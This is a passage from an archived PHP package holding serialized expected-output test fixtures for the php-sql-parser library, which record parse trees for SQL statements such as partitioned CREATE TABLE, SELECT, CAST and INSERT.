s:7:"primary";b:0;}}}i:2;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:12:"tr_date DATE";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"tr_date";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"tr_date";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:4:"DATE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:4:"DATE";}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}}}s:7:"options";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:13:"ENGINE=INNODB";s:5:"delim";s:1:" ";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"ENGINE";}i:1;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:"INNODB";}}}}s:17:"partition-options";a:1:{i:0;a:5:{s:9:"expr_type";s:9:"partition";s:9:"base_expr";s:60:"PARTITION BY HASH( MONTH(tr_date) )
            PARTITIONS 6";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"BY";}i:2;a:4:{s:9:"expr_type";s:14:"partition-hash";s:9:"base_expr";s:22:"HASH( MONTH(tr_date) )";s:6:"linear";b:0;s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"HASH";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:18:"( MONTH(tr_date) )";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:5:"MONTH";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"tr_date";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"tr_date";}}s:8:"sub_tree";b:0;}}}}}}}i:3;a:3:{s:9:"expr_type";s:15:"partition-count";s:9:"base_expr";s:12:"PARTITIONS 6";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:10:"PARTITIONS";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"6";}}}}s:2:"by";s:4:"HASH";s:5:"count";s:1:"6";}}}}PK     \ߖ$w    G  vendor/greenlion/php-sql-parser/tests/expected/parser/alias2.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:4:"colA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colA";}}s:9:"base_expr";s:4:"colA";}s:9:"base_expr";s:4:"colA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colA";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:4:"test";s:8:"sub_tree";b:0;}}}PK     \ōRG  G  H  vendor/greenlion/php-sql-parser/tests/expected/parser/select2.serializednu [        a:4:{s:6:"SELECT";a:2:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:12:"pl_namespace";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"pl_namespace";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:8:"pl_title";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"pl_title";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:11:"`pagelinks`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"pagelinks";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:11:"`pagelinks`";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"pl_from";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"pl_from";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'1'";s:8:"sub_tree";b:0;}}s:7:"OPTIONS";a:1:{i:0;a:3:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:10:"FOR UPDATE";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"FOR";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"UPDATE";}}}}}PK     \Ed  d  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue51.serializednu [        a:1:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:8:"function";s:5:"alias";b:0;s:9:"base_expr";s:4:"CAST";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:21:"12 AS decimal( 9, 3 )";s:8:"sub_tree";a:4:{i:0;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"12";s:8:"sub_tree";b:0;s:8:"position";i:13;}i:1;a:4:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"AS";s:8:"sub_tree";b:0;s:8:"position";i:16;}i:2;a:4:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"decimal";s:8:"sub_tree";b:0;s:8:"position";i:19;}i:3;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:8:"( 9, 3 )";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"9";s:8:"sub_tree";b:0;s:8:"position";i:28;}i:1;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:",";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:",";}}s:8:"sub_tree";b:0;s:8:"position";i:29;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"3";s:8:"sub_tree";b:0;s:8:"position";i:31;}}s:8:"position";i:26;}}s:5:"alias";b:0;s:8:"position";i:13;}}s:5:"delim";b:0;s:8:"position";i:7;}}}PK     \5A9    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue261.serializednu [        a:2:{s:6:"INSERT";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";}i:1;a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:10:"`wp_posts`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"wp_posts";}}s:5:"alias";b:0;s:9:"base_expr";s:10:"`wp_posts`";}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:38:"(`post_content`, `post_title`, `guid`)";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:14:"`post_content`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"post_content";}}}i:1;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:12:"`post_title`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"post_title";}}}i:2;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"`guid`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"guid";}}}}}}s:6:"VALUES";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:148:"('{\n    \"sydney::primary_color\": {\n        \"value\": \"#cde053\",\n        \"type\": \"theme_mod\",\n        \"user_id\": 1\n    }\n}', '', '')";s:4:"data";a:3:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:138:"'{\n    \"sydney::primary_color\": {\n        \"value\": \"#cde053\",\n        \"type\": \"theme_mod\",\n        \"user_id\": 1\n    }\n}'";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}}PK     \GלTQ  TQ  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33t.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:6:{s:9:"base_expr";s:2:"ts";s:4:"name";s:2:"ts";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"ts";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:25:" (id INT, purchased DATE)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:6:"id INT";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:3:"INT";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:3:"INT";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";b:0;}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:1;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:14:"purchased DATE";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"purchased";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"purchased";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:4:"DATE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:4:"DATE";}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}}}s:7:"options";b:0;s:17:"partition-options";a:3:{i:0;a:5:{s:9:"expr_type";s:9:"partition";s:9:"base_expr";s:55:"PARTITION BY RANGE COLUMNS(id)
            PARTITIONS 3";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"BY";}i:2;a:3:{s:9:"expr_type";s:15:"partition-range";s:9:"base_expr";s:17:"RANGE COLUMNS(id)";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"RANGE";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"COLUMNS";}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:4:"(id)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}}}}}}i:3;a:3:{s:9:"expr_type";s:15:"partition-count";s:9:"base_expr";s:12:"PARTITIONS 3";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:10:"PARTITIONS";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"3";}}}}s:2:"by";s:5:"RANGE";s:5:"count";s:1:"3";}i:1;a:5:{s:9:"expr_type";s:13:"sub-partition";s:9:"base_expr";s:76:"SUBPARTITION LINEAR KEY ALGORITHM=2 (purchased) 
            SUBPARTITIONS 2";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"LINEAR";}i:2;a:5:{s:9:"expr_type";s:17:"sub-partition-key";s:9:"base_expr";s:27:"KEY ALGORITHM=2 (purchased)";s:6:"linear";b:1;s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"KEY";}i:1;a:3:{s:9:"expr_type";s:27:"sub-partition-key-algorithm";s:9:"base_expr";s:11:"ALGORITHM=2";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"ALGORITHM";}i:1;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";}}}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:11:"(purchased)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"purchased";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"purchased";}}}}}}s:9:"algorithm";s:1:"2";}i:3;a:3:{s:9:"expr_type";s:19:"sub-partition-count";s:9:"base_expr";s:15:"SUBPARTITIONS 2";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:13:"SUBPARTITIONS";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";}}}}s:2:"by";s:10:"LINEAR KEY";s:5:"count";s:1:"2";}i:2;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:1512:"(
                PARTITION p0 VALUES LESS THAN (1990) 
                ENGINE bla
                INDEX DIRECTORY = '/bar/foo'
                MAX_ROWS = 5
                MIN_ROWS = 2
                (
                    SUBPARTITION s0
                        DATA DIRECTORY = '/disk0/data'
                        INDEX DIRECTORY = '/disk0/idx',
                    SUBPARTITION s1
                        DATA DIRECTORY = '/disk1/data'
                        INDEX DIRECTORY = '/disk1/idx'
                ),
                PARTITION p1 VALUES LESS THAN (2000) 
                STORAGE ENGINE=bla
                COMMENT = 'foobar'
                DATA DIRECTORY '/foo/bar'
                (
                    SUBPARTITION s2
                        DATA DIRECTORY = '/disk2/data'
                        INDEX DIRECTORY = '/disk2/idx',
                    SUBPARTITION s3
                        DATA DIRECTORY = '/disk3/data'
                        INDEX DIRECTORY = '/disk3/idx'
                ),
                PARTITION p2 VALUES LESS THAN MAXVALUE 
                INDEX DIRECTORY '/foo/bar'
                MIN_ROWS =10
                MAX_ROWS  100
                (
                    SUBPARTITION s4
                        DATA DIRECTORY = '/disk4/data'
                        INDEX DIRECTORY = '/disk4/idx',
                    SUBPARTITION s5
                        DATA DIRECTORY = '/disk5/data'
                        INDEX DIRECTORY = '/disk5/idx'
                )
            )";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:13:"partition-def";s:9:"base_expr";s:496:"PARTITION p0 VALUES LESS THAN (1990) 
                ENGINE bla
                INDEX DIRECTORY = '/bar/foo'
                MAX_ROWS = 5
                MIN_ROWS = 2
                (
                    SUBPARTITION s0
                        DATA DIRECTORY = '/disk0/data'
                        INDEX DIRECTORY = '/disk0/idx',
                    SUBPARTITION s1
                        DATA DIRECTORY = '/disk1/data'
                        INDEX DIRECTORY = '/disk1/idx'
                )";s:8:"sub_tree";a:8:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";s:4:"name";s:2:"p0";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"p0";}i:2;a:3:{s:9:"expr_type";s:16:"partition-values";s:9:"base_expr";s:23:"VALUES LESS THAN (1990)";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"VALUES";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"LESS";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"THAN";}i:3;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:6:"(1990)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"1990";s:8:"sub_tree";b:0;}}}}}i:3;a:3:{s:9:"expr_type";s:6:"engine";s:9:"base_expr";s:10:"ENGINE bla";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"ENGINE";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"bla";}}}i:4;a:3:{s:9:"expr_type";s:19:"partition-index-dir";s:9:"base_expr";s:28:"INDEX DIRECTORY = '/bar/foo'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:10:"'/bar/foo'";}}}i:5;a:3:{s:9:"expr_type";s:18:"partition-max-rows";s:9:"base_expr";s:12:"MAX_ROWS = 5";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:8:"MAX_ROWS";}i:1;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"5";}}}i:6;a:3:{s:9:"expr_type";s:18:"partition-min-rows";s:9:"base_expr";s:12:"MIN_ROWS = 2";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:8:"MIN_ROWS";}i:1;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";}}}i:7;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:312:"(
                    SUBPARTITION s0
                        DATA DIRECTORY = '/disk0/data'
                        INDEX DIRECTORY = '/disk0/idx',
                    SUBPARTITION s1
                        DATA DIRECTORY = '/disk1/data'
                        INDEX DIRECTORY = '/disk1/idx'
                )";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s0
                        DATA DIRECTORY = '/disk0/data'
                        INDEX DIRECTORY = '/disk0/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s0";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s0";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk0/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk0/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk0/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk0/idx'";}}}}}i:1;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s1
                        DATA DIRECTORY = '/disk1/data'
                        INDEX DIRECTORY = '/disk1/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s1";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s1";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk1/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk1/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk1/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk1/idx'";}}}}}}}}}i:1;a:3:{s:9:"expr_type";s:13:"partition-def";s:9:"base_expr";s:478:"PARTITION p1 VALUES LESS THAN (2000) 
                STORAGE ENGINE=bla
                COMMENT = 'foobar'
                DATA DIRECTORY '/foo/bar'
                (
                    SUBPARTITION s2
                        DATA DIRECTORY = '/disk2/data'
                        INDEX DIRECTORY = '/disk2/idx',
                    SUBPARTITION s3
                        DATA DIRECTORY = '/disk3/data'
                        INDEX DIRECTORY = '/disk3/idx'
                )";s:8:"sub_tree";a:7:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";s:4:"name";s:2:"p1";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"p1";}i:2;a:3:{s:9:"expr_type";s:16:"partition-values";s:9:"base_expr";s:23:"VALUES LESS THAN (2000)";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"VALUES";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"LESS";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"THAN";}i:3;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:6:"(2000)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"2000";s:8:"sub_tree";b:0;}}}}}i:3;a:3:{s:9:"expr_type";s:6:"engine";s:9:"base_expr";s:18:"STORAGE ENGINE=bla";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"STORAGE";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"ENGINE";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"bla";}}}i:4;a:3:{s:9:"expr_type";s:17:"partition-comment";s:9:"base_expr";s:18:"COMMENT = 'foobar'";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"COMMENT";}i:1;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:8:"'foobar'";}}}i:5;a:3:{s:9:"expr_type";s:18:"partition-data-dir";s:9:"base_expr";s:25:"DATA DIRECTORY '/foo/bar'";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:10:"'/foo/bar'";}}}i:6;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:312:"(
                    SUBPARTITION s2
                        DATA DIRECTORY = '/disk2/data'
                        INDEX DIRECTORY = '/disk2/idx',
                    SUBPARTITION s3
                        DATA DIRECTORY = '/disk3/data'
                        INDEX DIRECTORY = '/disk3/idx'
                )";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s2
                        DATA DIRECTORY = '/disk2/data'
                        INDEX DIRECTORY = '/disk2/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s2";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s2";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk2/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk2/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk2/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk2/idx'";}}}}}i:1;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s3
                        DATA DIRECTORY = '/disk3/data'
                        INDEX DIRECTORY = '/disk3/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s3";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s3";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk3/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk3/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = 